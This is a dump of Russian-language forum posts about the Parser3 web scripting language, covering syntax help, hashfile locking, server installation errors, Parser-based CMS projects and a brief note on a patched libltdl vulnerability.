    <li><div><a style=\"background: url(${albums.uri}cover.jpg) no-repeat center center\" href=\"$albums.uri\">&nbsp;</a><br /><a href=\"$albums.uri\">$albums.name</a></div><p></p></li>\
  }\
</ul>\
[/code]\
В хтмл-коде на выходе пропадает точка с запятой, которая в пробеле. Решение я нашел -- &nbsp^; Но хотелось бы знать, почему пропадает точка с запятой? Ответьте кто-нибудь, если не сложно."
"71488","labour\
BeaVe\
http://www.parser.ru/forum/users/?uid=954\
http://code.google.com/p/labour-system\
\
.com\
Rafael\
http://www.parser.ru/forum/users/?uid=1255\
http://code.google.com/p/parser-com-cms/\
\
odminko\
StopDesign\
http://www.parser.ru/forum/users/?uid=1963\
http://code.google.com/p/odminko/\
\
aktar\
Саян Андриянов (Саян)\
http://www.parser.ru/forum/users/?uid=4689\
http://aktar3.sibarit.ru\
\
и ещё моя...\
\
Это всё?"
"71489","Ставлю класс аутентификации (в примерах который).\
\
Там в классе auth.p используются\
[code]\
@USE\
Lib.p\
dtf.p\
[/code]\
\
а самих этих файлов нигде нет. Что я упускаю?"
"71490","http://www.parser.ru/examples/date/\
http://www.parser.ru/examples/lib/"
"71491","Спасибо"
"71492","Класс авторизации мне кажеться что проще пользоваться от sumo:\
http://code.google.com/p/parser3-pf/source/browse/#svn/trunk/pf/auth"
"71493","У меня тоже есть, но не знаю, насколько ее можно назвать CMS. Там все работает на полуручном режиме. \
Один из последних сайтов http://www.uvelteh.ru/ работает по этой системе. Кому интересно, могу дать доступ к админке."
"71495","Теперь сайт не работает, но я вчера увидел что это интернет-магазин. Он у вас работает ли правильно? Как храните данные? В SQL, XML или другое? Выложите ли исходники? \
\
Я видел что в .com какой-то интернет магазин, но пока не тестировал. Завтра посмотрю внимательно что она именно умеет."
"71496","Все данные хранятся в MySQL. Работает по принципу \"1 модуль = 1 html файл + таблица\". Работает вроде правильно ))\
Например, если на сайте будут публиковаться новости, то я копирую в корень сайта файл news.html, в админскую папку другой файл news.html. При первом запуске создается таблица news с основными полями. Так как это достаточно популярный модуль, он редко отличается от сайта к сайту. Но если что-то нужно, это всегда можно доработать.\
По такому же принципу работают еще несколько стандартных модулей: Статьи, 1 или 2 уровневый каталог (услуг, продукции), навигация, рекламные баннеры, корзина пользователя и т.д."
"71497","обновил пакеты для debian:\
http://packages.debian.org/source/sid/parser\
http://packages.debian.org/source/sid/parser-mysql"
"71498","старые libltdl (в парсере и sql-расширениях) уязвимы к подмене библиотек:\
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3736\
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=559837\
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=559824\
\
решения:\
1) обновление копий libltdl в исходниках с допотопных версий.\
2) для libltdl 1.2 есть патч (бекпорт с бекпорта в 1.5):\
http://lists.gnu.org/archive/html/libtool/2009-11/msg00065.html\
http://git.debian.org/?p=collab-maint/parser.git;a=blob;f=debian/patches/111_ltdl.patch"
"71499","То есть проблемой безопасности это в большей степени является для suid программ. В случае парсера, если человек может положить файл в директорию с парсером, то с вероятностью 99% он может редактировать и лежащий там же auto.p. То есть указать другую библиотеку для загрузки он может напрямую в auto.p, не возясь с дырой в libltdl. :) Поэтому никакого смысла обновлять существующие парсеры нет. Но HEAD версию для приличия конечно поправим."
"71500","Изучать начал недавно.\
проблема в том, что главная страница состоит из элементов header, body, footer.\
Судя по документации функция main должна подгружаться и при вызове из браузера внутренней директории. У меня этого не происходит.\
\
Плюс на главной странице перестала эта функция работать.\
\
Вопрос: в чем может быть причина и где можно найти ответ?\
\
Спасибо"
"71501","P.S. самая распространённая ошибка -- пустой файл или файл без методов, что равносильно переопределению @main. если вам нужно, чтобы унаследовался @main, описанный выше, вам в файле нужно определить какой-нить другой метод, например фиктивный."
"71502","В корневом auto.p описана функция @main:\
[code]\
@main[]\
^header[]\
^body[]\
^footer[]\
[/code].\
В инструкции указано, что подключаемые ей структурные элементы страниц будут автоматически подгружаться из корневого auto.p с помощью запросов:\
[code]\
@greeting[]\
Проблема в том\
\
@body_additional[]\
Что на внутренних страницах\
\
@body_main[]\
не происходит подключение заданных на уровень выше функций.\
[/code]\
\
Вставка [code]^navigation[][/code] в файле, скажем, .../main/index.html тоже не работает.\
\
Я не могу понять, что я не так делаю. Подскажите направление, или решение, если знаете."
"71503","вставка\
[code]\
^navigation[]\
[/code]\
\
означает перекрытию @main[] и равносильно вставке:\
[code]\
@main[]\
^navigation[]\
[/code]"
"71504","КАК?\
код-\
$cpg[pgsql://root:123456@localhost/brdgis?ClientCharset=UTF-8] \
^connect[$cpg]{$a[^string:sql{select 2+2}]}\
pg - $a # проверка - удачно\
\
^connect[$cpg]{\
$a[^table::sql{select * from trans_tmp_}]}\
^a.menu{\
$a.gid \
^connect[$cpg]{\
$z1[^table::sql{select *, astext(the_geom) as gem from gor_bus_stop where gid='$a.z1'}]}\
$z1.gem   # получаю такие данные - \"MULTIPOINT(8876.718387294 84014.0030841669)\"\
$z1_l[^z1.gem.trim[left;MULTIPOINT(]] # пытаюсь обрезать \"MULTIPOINT(\" и выдает - \"trim\" undefined method\
$z1_[^z1_l.trim[right;)]] # обрезать с другой стороны  \")\" пыдает - \"trim\" undefined method\
$z1_\
.....\
}\
\
Что не так? \
Причем класически - \"Вчера этот код работал\".\
ПОМОГИТЕ!!!"
"71506","if\
native method of MAIN (MAIN) accepts minimum 2 parameter(s) (1 present)\
\
а если поставить перед \";\" \"^\" то \"'kind' must be one of left, both, right\
\"\
\
то есть внутри оператора if не дожно быть \";\"   но какже trim?\
PS - переменные определены"
"71507","Конструкция [code] @main[]\
^header[]\
^footer[][/code] работает.\
Как только добавляю в нее [code]^body[][/code], выдается ошибка такого содержания:\
[quot]Unhandled Exception\
\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, postmaster@parser.zipart.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.[/quot]"
"71509","Спасибо"
"71510","Спасибо.\
Вроде, разобрался"
"71511","Работал он потому, что получал данные на вход, а сегодня что-то переменилось. Посмотрите на строку, которую вы хотите почтистить еще раз. \
Ошибка \"trim\" undefined method, означает что это не строка (или пустая строка, т.е. в итоге не строка :). \
\
Решение - или использовать проверку ^if(def $z1_l){... ваш код ...} или регэксп:\
\
[code]$z1_l[MULTIPOINT(8876.718387294 84014.0030841669)]\
$z1_l[^z1_l.match[MULTIPOINT\\(([0-9\\s\\.]+)\\)][i]{$match.1}][/code]"
"71512","match поможет, если строка есть :)\
в общем, делайте проверку или в базе при выборке или перед получением значения с помощью trim или match."
"71513","Приветствую всех в форуме о Parser.\
Несколько раз делал подходы к построению сайта на парсер.\
То не мог установить сам модуль, то настроить не получалось.\
Но вот всё установил и вроди бы то настроил.\
Даже и все примеры прикрутил.\
И всё!\
Теперь бы надо былобы чтото дальше делать а с чего начать не представляю.\
Если у кого то была такая проблема, прошу поделиться своим опытом,как выйти из этого ступора.\
Буду благодарен за помощь."
"71514","Два дня на себе рвал волосы - что могло произойти, вроде ничего и не менял, только parser заново пересобрал с библиотеками - оказалось у меня на работе есть блондинка - она решила из базы пару строк удалить - из моей РАБОЧЕЙ базы! \
Спасибо, хотя бы толкнули в верном направлении. \
Я вообще то думал что сам метод trim не определяется а не пустое значение для этого метода, по форуму пошерстил и почему-то утвердился в этом мнении.\
Еще раз спасибо."
"71515","http://www.parser.ru/docs/lang/?lesson1.htm"
"71517","Интересно... Вы делаете интернет магазин в нормальной cms только через модуль корзины.\
Ловко."
"71519","Примером такой задачи может быть, например, блог с возможностью комментирования записей."
"71520","В настоящей работе возникают интересные проблемы.\
...и конечно деньги."
"71521","Да я не против, но с чего начинать?\
Если вчитываться во всё подряд то и века может не хватить.\
Ну допстим сделаю одну страничку и всё?\
А если ещё одну а может быть и десяток, их же как то надо связывать, кудато размещать.\
Вот что в таком случае нужно изучать, для того чтобы для этого применить технологию парсер.\
В php кидай в базу ссылки сами лезут, а тут."
"71522","Вы пишите надо деньги зарабатывать, я бы не против ну как и где.\
Продавать не умеем, да и нечего, работать в качестве партёра с какими либо сайтами пробовали, так на продвижение их ссылок, выкинеш больше чем заплатят, а то ещё могут скрипт настроить так что клики считает а покупку по ссылке не видет.\
Вот и будешь продвигать чейто рессурс за свои деньги, а в результате кукиш."
"71523","Ой та для таких задач мне ещё далеко, мне бы хоть пару тройку страниц с прелинковкой."
"71524","Ну допустим, ставлю задачу, 10 страниц у которых кроме главного меню, имеется меню которое используется между ним.\
Ну и шо мне в таком случае читать, и что применить для реализации данной задачи."
"71525",".. попутно анализируете код и думаете как трансформировать его в то, что вам нужно. :)"
"71526","В первом уроке что написано? (http://www.parser.ru/docs/lang/?lesson1.htm)\
\
[quote]Давайте начнем с самого начала. Итак, вы хотите сделать сайт (узел, сервер). Первым делом, необходимо...[/quote]\
\
У меня по ходу выполнения уроков появлялась куча идей, которые тут же косо-криво начинал воплощать, бывало не доделав до конца урок. Где-то заступорился -- полез в справочник искать оператор, который поможет решить задачу, так потихоньку изучил все возможности языка."
"71527","Ага, спасибо, значит будем вертаться, и начинать всё сначала.\
Значит я не первый.\
Большое спасибо за поддержку.\
Если что получится, обязательно похвастаюсь."
"71530","Да да, спасибо друзья, я всё понял.\
Иду к истокам.\
Надеюсь что получится."
"71532","Кто-нибудь делал его на парсере? Поделитесь плз."
"71535","В начале может быть что у кого-нибудь из друзей есть нужда создать сайт. Потом он скажет своим друзьям что вы делаете хорошие сайты. Очень важное чтоб не говорили о тебе: \"Мальчик делает сайты очень дешёво\". Надо развиваться тоже в том чтоб за один сайт получать более и более денег. Тогда будут приходит к тебе более и более требовательные клиенты. \
\
И ещё я забыл о другом что надо делать чтоб развиваться в парсере: разбирайтесь с хорошо сделанными чужими кодами от Misha v.3, Sumo и др.:\
http://www.parser.ru/examples/\
http://code.google.com/hosting/search?q=label:parser3"
"71536","Может быть что тебе нужен [url=\"http://cms.forjesus.eu\"]cms[/url]"
"71537","Из объективного - только то, что системные вызовы не всегда работают. Нельзя исключать, что их запретят или будет неудобоваримый конфиг."
"71539","Спасибо за совет.\
Наверное надо пересмотреть своё прибывание в интернет."
"71542","Если вы можете запустить парсер, значит для себя вы всегда сможете ...\
1) собрать diff c нужными настройками и библиотеками в худшем случае на другом компьютере\
2) запустить diff на нужном сервере"
"71546","В unix много полезных утилиток только собирать и пользоваться ими."
"71547","...ибо это потребует поднимать дебри философии"
"71548","Поскольку Студия Лебедева увела у меня парсерного программиста, требуется новый на замену.\
\
Требования:\
\
Parser, MySQL, XML/XSL, умение пользоваться *nix'ом - обязательно\
JavaScript, HTML,CSS - желательно\
\
Фултайм в офис в Москве (м. Алексеевская).\
Чай, кофе, какао,  сахар, печенье предоставляется.\
\
Согласимся на стажера за 50-66 процентов от полной зарплаты с перспективой повышения до полной .  \
Писать на elik где-то на madgroup.ru\
\
PS. Moko, требую [s]сатисфакции[/s] компенации обучение за ценного кадра ! :)"
"71549","Я как-то сталкивался такой задачей. Писал онлайн сивстему колаборации для переводчиков-корректоров-редакторов. попробовал писать на парсере дифф. По итогу проще, быстрее и качественнее вышло запускать внешний дифф. :)\
Для мотивации скачайте исходники юниксового диффа - посмотрите как там все устроено. ДУмаю после долгой попытки портировать его на Парсер3 Вы будете со мной(с нами) солидарны"
"71550","Объективности ради - он сам нам написал, так что \"увели\" - это все-таки некорректное обвинение. :)\
\
А так - к сожалению нет ничего вечного, ты тоже когда-то из Студии ушел...\
\
P.S. Ну, будем считать появившуюся в HEAD версии парсера поддержку curl компенсацией тебе за возню в свое время с ssl. :)"
"71551","Что не так? Что делать?"
"71552","Переменная которая сейвится не существует"
"71553","А мне показалось, что парсер мне говорить, что метод save не определен.. хз"
"71555","весело у вас тут :)"
"71557","Там у меня код уже давно устарел. Я сейчас погряз в текучке и нет физиччески возможности собрать демнострашку.\
То, что есть на данный момент имеет имеет некоторую привязку к конкретному сайту."
"71558","При нажатии на кнопку \"Выход\" выскакивает ошибка, мол неопределен метод date_sub. Однако логаут просходит, т.к. если обновить страницу (с ошибкой), все становится на свои места, мы не залогинены.\
\
Что надо исправить, чтобы не выскакивала ошибка?\
\
\
класс auth.p юзает:\
@USE\
Lib.p\
dtf.p\
MySql.p\
MySqlComp.p\
\
класс MySql.p юзает:\
@USE\
Sql.p\
MySqlComp.p\
\
класс MySqlComp.p юзает:\
@USE\
MySql.p"
"71560","ну или исправить вызов date_sub на dateSub"
"71561","[code]@main[]\
\
<pre>\
^taint[as-is][^my[]]\
</pre>\
\
@my[]\
	tab\
		another tab\
			next level\
\
[/code]"
"71563","http://www.parser.ru/docs/lang/?compilesrc.htm\
wget заменить на fetch"
"71564","нужно просто добавить что-то вроде\
[code]\
if [ `uname -a | grep 'FreeBSD' | wc -c` -gt 0 ]; then\
        FreeBSD_branch=`uname -r | sed -E 's/^([0-9]+)\\..*/\\1/'`\
        case $FreeBSD_branch\
        in\
            6) вариант для шестерки ;;\
            7) вариант для семерки ;;\
            8) вариант для восьмерки ;;\
            *) other ;;\
        esac\
fi\
[/code]"
"71565","Странно. У меня и так работает."
"71566","Ситуация:\
[code]$var1[^hashfile::open[/asd/var1]]\
...\
$var2[^hashfile::open[/asd/var1]] #- > выдает ошибку[/code]\
\
Как мне узнать, что этот файл(/asd/var1) уже открыт?\
Или произвести вторичное открытие"
"71567","... т.е. не держать его открытым продолжительное время, поскольку в это время остальные процессы, которые захотят использовать тот же файл будут заблокированы, более того, возможны варианты возникновения взаимных блокировок, что совсем плохо.\
\
У меня [url=http://code.google.com/p/parser3-pf/source/browse/trunk/pf/io/pfOS.p]есть метод hashFile[/url], который позволяет работать с хешфайлом достаточно безопасно:\
[code]\
  ^pfOS:hashFile[/path/to/file][hf]{\
#   Здесь работаем с хешфайлом, ссылка на которо будет в переменной $hf\
     $hf.ключ \
  } <- здесь произойдет автоматическое освобождение файла.\
[/code]\
\
В принципе никто не мешает сделать так:\
[code]\
  $var1[^hashfile::open[/asd/var1]]\
  ...\
  ^try{\
     $var2[^hashfile::open[/asd/var1]]\
  }{\
     $var2[$var1]\
     $exception.handled(true)\
   }\
[/code]\
... но это крайне неудачный вариант и лучше подумать над изменением логики программы."
"71568","Как было сказано в документации про ^hashfile.release[]\
\
[i]Все сделанные изменения сохраняются на диске и с файлов снимаются блокировки.\
Таким образом хешфайл становится доступен другим процессам. [b]Однако[/b] для продолжения работы с ним не требуется производить его повторного открытия - любое обращение к его элементам автоматически откроет файл.[/i]\
\
Т.к. мне не требовалось делать запись, то и вызывать .release[] не было смысла... Как я понимаю, .release[] нужен только для снятия блокировки [b]только[/b] в том случае, когда было сделано хоть одно изменение, иначе он бесполезен. (Пробовал)\
\
метод с try{} понятен, я просто думал о какил-либо нюансах, которые проглядел в документации."
"71569","[quote]Замечание: нельзя два раза открыть один и тот же файл.[/quote]\
Это явно написано в http://www.parser.ru/docs/lang/hashfileopen.htm\
\
\
[quote]...любое обращение к его элементам автоматически откроет файл[/quote]\
Замечание про автоматическое переоткрытие относилось к ранее открытому файлу, причем при обращении через ту же переменную, что и раньше. \
\
[quote]Т.к. мне не требовалось делать запись, то и вызывать .release[] не было смысла... Как я понимаю, .release[] нужен только для снятия блокировки только в том случае, когда было сделано хоть одно изменение, иначе он бесполезен.[/quote]\
Блокировка ставится при открытии файла, а не при записи. Блокировок надо избегать всеми силами - не забывайте, что ваши скрипты работают параллельно."
"71570","Согласно документации: [i]Замечание: в один момент времени файл может изменяться только одним скриптом, остальные ждут окончания его работы.[/i]\
P.S.: про чтение ни слова.\
\
Если хешфайл был записан единожды, и требуется ТОЛЬКО ЧИТАТЬ из множества потоков, [b]будет ли каждый поток ждать завершения чтения другого потока?[/b]\
\
В данном случае я имею ввиду под потоком экземпляр работающего скрипта"
"71571","[quote]Замечание: в один момент времени файл может изменяться только одним скриптом, остальные ждут окончания его работы. [b]Перед началом изменений скрипт ожидает, чтобы все остальные скрипты перестали читать этот файл.[/b][/quote]\
http://www.parser.ru/docs/lang/hashfileopen.htm"
"71574","но не мешают работать параллельным процессам.\
но если хотя-бы один процесс что-то записал, остальные будут ждать...\
\
P.S. на нагруженных системах не рекомендуется использовать hashfile, т.к. преимуществ перед БД у него нет. использовать его как файл конфигурации тоже не стоит, т.к. посмотреть/поправить его ручками невозможно."
"71575","[code]\
1             2\
open          open\
read begin    \
              read begin\
read end\
              read end\
write begin\
              trying to start read. waiting\
write end     waiting\
read  begin   waiting\
read end      waiting\
release       waiting\
              read begin\
read begin   \
              read end\
read end\
[/code]"
"71577","просто блокировки разные.\
блокировка при чтении тоже нужна, чтобы во время того, как один процесс читает, другой не начал бы писать.\
\
я просто забыл в примере показать и этот случай."
"71579","Необходимо проверить тип файла на допустимость согласно списка.\
Делаю так- слишком много условий вызывают Unhandled Exception :(\
\
[code]\
^if($cmp eq doc || $cmp eq docx || $cmp eq pdf || $cmp eq odt || $cmp eq xls || $cmp eq xlsx || $cmp eq ods || $cmp eq rar || $cmp eq zip || $cmp eq gz || $cmp eq 7z){\
некий код\
}\
[/code]"
"71581","[code]$string[doc,docx,pdf,odt,xls,xlsx,ods,rar,zip,gz,7z]\
$table[^string.split[,;;ext]]\
\
^if(^table.locate[ext;$cmp]){\
	код\
}[/code]\
\
и это не-за количества условий, а из-за того, что строки не в кавычках... нужно писать так:\
[code]\
^if($cmp eq 'doc' || $cmp eq 'docx'){...}\
[/code]\
\
ошибку вызывает это:\
[code]$cmp eq 7z[/code]\
\
[quote]\
[b]7z[/b]\
invalid number (double)\
[/quote]"
"71582","Спасибо. Примерно так и сделал, только выложил таблицу отдельным файлом, чтоб легко редактировать список."
"71584","[code]^switch[$cmp]{\
	^case[doc;docx;pdf;odt;xls;xlsx;ods;rar;zip;gz;7z]{...ваш код...}\
}[/code]"
"71585","[code]  [b]7z[/b]\
    invalid number (double)[/code]\
\
Нужно было заключить строковой литерал 7z в кавычки:\
\
[code]$cmp eq \"7z\"[/code]"
"71587","Задача: заменить кавычки на &quot; при выдаче.\
\
[code]$test[^table::create{id	name\
1	ООО \"МИАН\"\
2	ООО \"МИЭЛЬ\"}]\
\
^test.menu{\
^taint[html][$test.name]\
^untaint[html]{$test.name}\
}[/code]\
\
Оба варианта не выводят:\
ООО &quot;МИАН&quot;\
ООО &quot;МИЭЛЬ&quot;\
\
В чем принципиальная ошибка?"
"71588","вообще-то [code]^taint[html][ООО \"МИАН\"][/code]\
\
выводит [code]ООО &quot;МИАН&quot;[/code]\
\
но только в исходном коде, как и должно быть, а в браузере оба варианта показываются одинаково."
"71590","всё работает как и описано в документации."
"71592","Вопрос следующий:\
существует хэш вида [code]$hash[$.key[$.value[] $.value1[]]][/code]\
в результате объединения с таким же по структуре хэшом\
[code]$hash[^hash.union[$hash1]][/code]\
 получается что отсеивание лишнего идет по ключам хэша $hash.key, а не только по ключам хэша $hash. Так и должно быть?\
Буду весьма благодарен тем кто избавит от ковыряния класса hash"
"71596","/index.html(2:2): './lib/libparser3mysql.so' ./lib/libparser3mysql.so: wrong ELF class: ELFCLASS32 [<no type>]\
\
Ставил так же 64 битную библиотеку, но там другая ошибка:\
./lib/libparser3mysql.so.64: undefined symbol: __cxa_pure_virtual [<no type>]\
\
P.S.: хостинг 1gb.ru\
\
Что такое ELF класс?"
"71597","расскажите по порядку: что и как вы ставили.\
\
P.S. сам Parser с БД у них [url=\"http://parser-test.1gb.ru/_test.html\"]работает[/url], правда когда я содействовал в его установке, у них был только win32-хостинг."
"71598","прошу прощения за небольшой офф\
\
подскажите, как при обращении к http://www.domain.ru/ibe/common/clearHome.do?language=ru скрывать эту ссылку и отображать http://www.domain.ru"
"71599","добавьте в .htaccess:\
\
[code]\
RewriteEngine on\
RewriteOptions maxredirects=5\
\
RewriteRule ^$ /ibe/common/clearHome.do?language=ru [L,QSA]\
[/code]"
"71600","ага, работает\
\
а можно ли при этом делать редирект на http://www.domain.ru/?\
\
то есть смысл в том, чтобы при обращении http://www.domain.ru/ibe/common/clearHome.do?language=ru -- всё что после http://www.domain.ru/ -- спряталось а запрос осуществилася сюда /ibe/common/clearHome.do?language=ru"
"71602","Уставновил parser 3.4 на локальную машину из раздела \"Скачать\". Заметил, что старый код перестал работать. После разбирательства обнаружил, что метод @auto[] класса вызывается повторно при подключении другого класса, наследуемого из него.\
\
Суть:\
\
[code]@CLASS\
Engine\
\
@auto[]\
$system[\
	$.a[123]\
]\
\
@run[]\
$system.a[123123]\
^use[Core.p]\
^Core:run[]\
\
\
@CLASS\
Core\
\
@BASE\
Engine\
\
@run[]\
$system.a[/code]\
\
\
И вот уже внутри $system.a из Core возвращает [b]\"123\"[/b].\
\
В моем случае цепочка наследования была сложнее: Core -> CoreAPI -> CoreDBAPI, но думаю это не так важно."
"71603",">Ставил так же 64 битную библиотеку, но там другая ошибка:\
\
Надеюсь парсер был тоже 64-х битный, не только библиотека?"
"71604","По мне так больше похоже на багфикс. :)\
\
Никаких лишних вызовов auto не происходит, $system - это статическая переменная класса (поскольку декларирована в auto), она и должна быть одинаковой у всех переменных класса и его потомков.\
\
А вот раньше это иногда работало некорректно (получались разные переменные), и ваш код вероятно был рассчитан на такое неправильное поведение."
"71605","http://www.alwaysdata.com/\
\
поставил парсер.. причем встал без проблем\
при обращении на него через браузер проблем нету..\
\
выдает Parser/3.3.0 (compiled on i686-pc-linux-gnu)\
\
но вот когда ставишь его как обработчиком по умолчниаю в .htaccess\
выдает ошибку\
\
Internal Server Error\
\
The server encountered an internal error or misconfiguration and was unable to complete your request.\
\
Please contact the server administrator, [no address given] and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the server error log.\
\
Логи на сервере чистые. нет никаких данных.\
в чем может быть проблема ?\
\
права настроены правильно. содержание htaccess\
\
# назначение обработчиком .html страниц \
AddHandler parser3-handler html \
Action parser3-handler /cgi-bin/parser3.cgi\
\
# запрет на доступ к .p файлам, в основном, к auto.p \
<Files ~ \"\\.p$\"> \
Order allow,deny \
Deny from all \
</Files>\
\
\
и не работает..\
\
хостин бесплатный ! но там есть все и ssh и mysql"
"71607","он ничего не говорит. сайт выкидывает на страницу поиска гугль...\
что файл не найден\
\
а если я отключаю обработчик в htaccess  то этот файл говоит что обработчиком нужно назначить парсер и попробовать запустить его еще раз.."
"71608","Зачем парсеру ф-ция [b]^хеш.contains[ключ][/b], если есть [b]def $хеш.ключ[/b]?\
\
Так как они применяются исключительно в проверочных выражениях"
"71610","[b]def объект [/b]  \
не определенными (не [b]def[/b]) считаются пустая строка, пустая таблица, пустой хеш и код.\
\
[i]P.S.: Взято из документации про def[/i]"
"71612","Код не работает для 2010-02-14 и 2010-03-14. Что может быть?\
\
$cur_date[^date::create[2010-02-14]]\
^switch($cur_date.weekday){\
	^case(1){$weekday[понедельник]}\
	^case(2){$weekday[вторник]}\
	^case(3){$weekday[среда]}\
	^case(4){$weekday[четверг]}\
	^case(5){$weekday[пятница]}\
	^case(6){$weekday[суббота]}\
	^case(7){$weekday[воскресенье]}\
	}\
$weekday"
"71613","http://www.parser.ru/docs/lang/datefields.htm"
"71614","[code]\
  $weekDays[\
    $.0[воскресенье]\
    $.1[понедельник]\
    $.2[вторник]\
    $.3[среда]\
    $.4[четверг]\
    $.5[пятница]\
    $.6[суббота]\
  ]\
  \
  $curDate[^date::create[2010-02-14]]\
  $weekDays.[$curDate.weekday]\
[/code]"
"71615","В базе для примера 10 писем. Скрипт должен отсылать 5 писем, потом включать META REFRESH на 61сек и после обновления страницы отсылать ещё 5 писем. Но проблемка в том, что после рефреша тег с рефрешем остаётся, а вместо выполнения скрипта стоит клавиша НАЧАТЬ ОТПРАВКУ, как с самого начала. Как исправить, чтобы работало?\
\
[code]@header[]\
<head>\
^connect[$connect-string]{\
   $tMsgBase[^table::sql{SELECT id,\
                                email,\
                                subj,\
                                msg\
                         FROM   mspool\
                         WHERE  sent=0\
                         LIMIT  5\
   }]\
   $iMsgCount[^int:sql{SELECT COUNT(*)\
                       FROM   mspool\
   }]\
}\
$bSentWait(^if(def $form:start && $iSentCount < $iMsgCount){1}{0})\
^if($bSentWait){\
   <meta http-equiv=\"Refresh\" content=\"61\" />\
}\
<title>Рассылка писем</title>\
</head>\
\
@content[]\
<h2>Рассылка писем</h2>\
<form action=\"$request:uri\" method=\"post\">\
^if($bSentWait){\
   <input type=\"button\" value=\"ЖДИТЕ\" disabled=\"disabled\" />\
}{\
   <input type=\"submit\" name=\"start\" value=\"НАЧАТЬ ОТПРАВКУ\" />\
}\
</form>\
\
^if($bSentWait){\
 ^connect[$connect-string]{\
   ^tMsgBase.menu{\
      ^mail:send[\
         $.from[noreply@dubophone.ru]\
         $.to[$tMsgBase.email]\
         $.subject[$tMsgBase.subj]\
         $.text[$tMsgBase.msg\
         Пожалуйста не отвечайте на это письмо, оно создано роботом!]\
      ]\
      ^void:sql{UPDATE mspool\
                SET    sent=1\
                WHERE  id=$tMsgBase.id\
      }\
      $iSentCount[^int:sql{SELECT COUNT(*)\
                           FROM   mspool\
                           WHERE  sent=1\
      }]\
      <p>Отправлено $iSentCount писем из $iMsgCount</p>\
   }[<br />]\
   <p>Время отправки: $date_now.hour:$date_now.minute:$date_now.second</p>\
   <p>Ждите 61 секунд до отправки следующей партии писем.</p>\
 }\
}[/code]"
"71616","... а лучше всего сделать консольный скрипт, который будет вызываться через cron - это гораздо надежнее и удобнее."
"71619","http://www.parser.ru/examples/date/"
"71620","linux debian lenny, 64битная версия. parser собран из исходников пакета (ссылка с сайта). При запуске тестового скрита index.ru.html есть следующие ошибки:\
[code]\
$CHARSETS:windows-1251	/usr/share/parser3/charsets/windows-1251.cfg (не найден)\
\
$SQL:protocol	parser driver	sql client library\
mysql	/usr/lib/parser3/libparser3mysql.so (не найден)	/usr/lib/libmysqlclient.so.15 (не найден)\
\
DOCUMENT_ROOT: «кривой» или скрипт находится не в корне веб пространства (/home/username/projects/parser-test/htdocs)\
Путь к скрипту: home/username/projects/parser-test/htdocs/index.ru.html\
[/code]\
\
В реальности все эти файлы существуют и доступны всем для чтения:\
[code]\
$ls -l /usr/share/parser3/charsets/windows-1251.cfg /usr/lib/parser3/libparser3mysql.so /usr/lib/libmysqlclient.so.15\
\
lrwxrwxrwx 1 root   24 Сен  3 04:00 /usr/lib/libmysqlclient.so.15 -> libmysqlclient.so.15.0.0\
-rw-r--r-- 1 root  36K Дек 24 14:49 /usr/lib/parser3/libparser3mysql.so\
-rw-r--r-- 1 root 5,1K Дек 23 17:07 /usr/share/parser3/charsets/windows-1251.cfg\
[/code]\
Что можно сделать, чтобы решить проблему?\
 parser запускается как cgi, apache 2.2.9 с suexec."
"71621","Может надо --disable-safe-mode?"
"71622","Ну строка ошибки выглядит как я и процитировал выше. Пишет:\
$CHARSETS:windows-1251	/usr/share/parser3/charsets/windows-1251.cfg (не найден)\
Как проверить собран parser с safe-mode или нет по бинарному файлу? Судя по опциям configure он собран с --disable-safe-mode, но может быть это тем или иным образом не применилось."
"71623","Попробовал сделать владельцем файла /usr/share/parser3/charsets/windows-1251.cfg пользователя, от которого запускается parser - не помогает. Видимо не проблема safe-mode и опция сборки поставлена правильно. Как можно получить более подробную информацию об ошибке чтобы понять что он имеет ввиду под \"не найден\"? Какие еще могут быть варианты?"
"71624","подскажите пожалуйста как сделать консольный скрипт? просто как-то тупо в блокноте записать, сохранить и вызывать через крон через парсер?"
"71625","И еще http://www.parser.ru/docs/lang/requestargv.htm\
\
p.s. К сожалению, опыта запуска Парсера из консоли под Виндоус у меня нет совсем поэтому сказать какие возникнут сложности не могу - надо пробовать."
"71626","Люди добрые, и не очень здравствуйте! Помогите пожалуйста, все установил, прописал как в доках.\
Мастерхост заявляется вот так: \
На наших серверах используется следующее программное обеспечение:\
[b]FreeBSD 7.2[/b] с новыми версиями основных библиотек;\
[b]Apache 1.3.xx[/b] с основным набором модулей;\
[b]MySQL 5.0.x.[/b] Основная кодировка: cp1251 (Windows). Также поддерживаются KOI8-R и UTF8.\
 \
Я соответственно пытаюсь ставить : [b]parser3_4_0_freebsd72Rx64_cgi_xml.tar.gz[/b]\
с дровами: [b]parser3sql_10_3_freebsd72Rx64_mysql.tar.gz [/b]\
и конфигом: [b]parser3conf_1_2_20091215_unix.tar.gz[/b]\
Прописываю права. \
В итоге получаю:\
500 ошибка В Опере.\
 \
И в логах сервера через панель управления:\
[Fri Dec 25 09:34:43 2009] [error] [client 90.151.6.139] Premature end of script headers: /home/u196958/s-ks.ru/cgi-bin/parser3.cg        - при обращении к любой странице сайта\
 \
Еще меня немного смущает то,что папочки странно у них уложены: например:domen.ru/www\
         domen.ru/cgi-bin\
         domen.ru/tmp\
не понял только почему бы не сделать папку скриптов внутри www...\
но на всякий случай включил через панель управления функцию \"исполнять cgi скрипты во всех папках\", и разместил папку cgi-bin  в самом корне сайта (в папке www) в .htaccess пробывал прописывать путь к этой папке, эффекта ноль, скрипт не исполняется. \
 \
В .htaccess путь к скрипту указан как : cgi-bin/parser3.cgi\
\
Не знаю уже куда лезть где копать("
"71628","А если вы подскажите как проверить то буду безумно благодарен,"
"71630","Сейчас попробую! Только что дозвонился до поддержки сказали стоит FreeBSD 7.2 32x"
"71631","Поставил, эффект один в один. Логи сервера:\
Fri Dec 25 16:08:22 2009] [error] [client 90.151.6.139] Premature end of script headers: /home/u196958/s-ks.ru/cgi-bin/parser3.cgi"
"71637","Никаких ssh не нужно, у меня прекрасно работает парсер на мастерхосте (Parser/3.3.0 (compiled on i386-unknown-freebsd6.3)).\
\
Если интересно, могу скачать сразу со своего сайта и прислать вам настроенные файлы, что и где править подскажу.\
\
правда папку cgi-bin я кажется тоже размещал внутри www"
"71638","Parser прекрасно ставится на masterhost.\
Точно в бинарном режиме parser3.cgi заливаете?"
